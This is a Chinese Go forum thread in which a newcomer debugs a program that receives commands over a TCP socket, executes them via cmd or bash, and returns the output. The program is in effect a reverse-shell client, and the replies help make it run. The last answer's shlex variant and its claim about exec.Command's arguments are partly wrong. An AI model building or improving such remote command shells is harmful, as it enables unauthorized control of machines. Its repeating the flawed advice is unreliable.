Golang中无效参数错误的解决方法

Golang中无效参数错误的解决方法 你好!我是Go语言的新手。我正在编写一个处理套接字并执行从套接字接收到的数据中的命令的程序。

我遇到了如下错误:

fork/exec C:\WINDOWS\system32\cmd.exe: invalid argument

当我使用一个变量 tmp 来传递参数时

package main

import (
	"fmt"
	"net"
	"os"
	"os/exec"
	"runtime"
	"strings"
)

func Execute(value string) string {
	name := "windows"

	switch runtime.GOOS {
	case "windows":
		name = "cmd"
		value = "/C" + " " + value
	default:
		name = "/bin/bash"
	}

	fmt.Println(name, value)
	tmp := strings.Split(value, " ")

        cmd := exec.Command(name, tmp...)  // 这里!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

output, err := cmd.Output()
	if err != nil {
		return err.Error()
	}
	return string(output)
}

func main() {
	conn, err := net.Dial("tcp", ":9999")
	if err != nil {
		panic(err)
	}

	os.Chdir("/")

	for {
		buffer := make([]byte, 1024)
		conn.Read(buffer)

		command := string(buffer)
		command = strings.TrimSpace(command)
		fmt.Println(command)

		if command == "exit" {
			break
		}
		if strings.HasPrefix(command, "cd") && len(command) > 2 {
			tmp := strings.Split(command, " ")
			os.Chdir(tmp[1])
			output, _ := os.Getwd()
			conn.Write([]byte(output))
			continue
		}

		output := Execute(command)
		conn.Write([]byte(output))
	}

	defer conn.Close()
}

但是当我硬编码值的时候,像下面这样,一切都能正常工作:

cmd := exec.Command("cmd", "/C", "dir") // 这里!!

请帮帮我


更多关于Golang中无效参数错误的解决方法的实战教程也可以访问 https://www.itying.com/category-94-b0.html

5 回复

抱歉,但我没理解以下内容

更多关于Golang中无效参数错误的解决方法的实战系列教程也可以访问 https://www.itying.com/category-94-b0.html


哦,有意思…… 现在我明白了Docker的重要性。

Fork 操作不需要 bash。

	cmd := exec.Command(os.Args[0], os.Args[1:]...)
	cmd.Env = append(os.Environ(), "ENV_EXAMPLE=1")
	cmd.Env = append(cmd.Env, envs...)
	cmd.Stdout = os.Stdout
	_ = cmd.Start()

我原以为程序会分叉执行,但代码运行正常,Windows执行dir命令,而Linux执行ls命令。

package main

import (
	"fmt"
	"os/exec"
	"runtime"
	"strings"
)

func Execute(value string) string {
	name := "windows"

	switch runtime.GOOS {
	case "windows":
		name = "cmd"
		value = "/C" + " " + value
	default:
		name = "/bin/bash"
		value = "-c" + " " + value
	}

	fmt.Println(name, value)
	tmp := strings.Split(value, " ")

	cmd := exec.Command(name, tmp...)
	output, err := cmd.Output()
	if err != nil {
		return err.Error()
	}
	return string(output)
}

func main() {
	fmt.Println(Execute("ls"))
}

问题出在参数处理上。当使用 strings.Split(value, " ") 分割命令时,如果命令中包含引号或特殊字符,会导致参数解析错误。

以下是修复后的 Execute 函数:

func Execute(value string) string {
    var cmd *exec.Cmd
    
    switch runtime.GOOS {
    case "windows":
        // 在Windows上使用cmd.exe执行命令
        cmd = exec.Command("cmd", "/C", value)
    default:
        // 在Unix-like系统上使用bash执行命令
        cmd = exec.Command("/bin/bash", "-c", value)
    }
    
    output, err := cmd.Output()
    if err != nil {
        return err.Error()
    }
    return string(output)
}

或者,如果你需要更精细的参数控制,可以使用 shlex 库来正确分割参数:

import "github.com/google/shlex"

func Execute(value string) string {
    name := "cmd"
    args := []string{"/C"}
    
    if runtime.GOOS != "windows" {
        name = "/bin/bash"
        args = []string{"-c"}
    }
    
    // 使用shlex正确分割参数
    parsedArgs, err := shlex.Split(value)
    if err != nil {
        return err.Error()
    }
    
    args = append(args, parsedArgs...)
    cmd := exec.Command(name, args...)
    
    output, err := cmd.Output()
    if err != nil {
        return err.Error()
    }
    return string(output)
}

对于简单的命令执行,第一种方法更可靠。exec.Command 的第二个参数应该是一个完整的命令字符串,而不是分割后的参数数组,特别是当命令包含空格、引号或特殊字符时。

回到顶部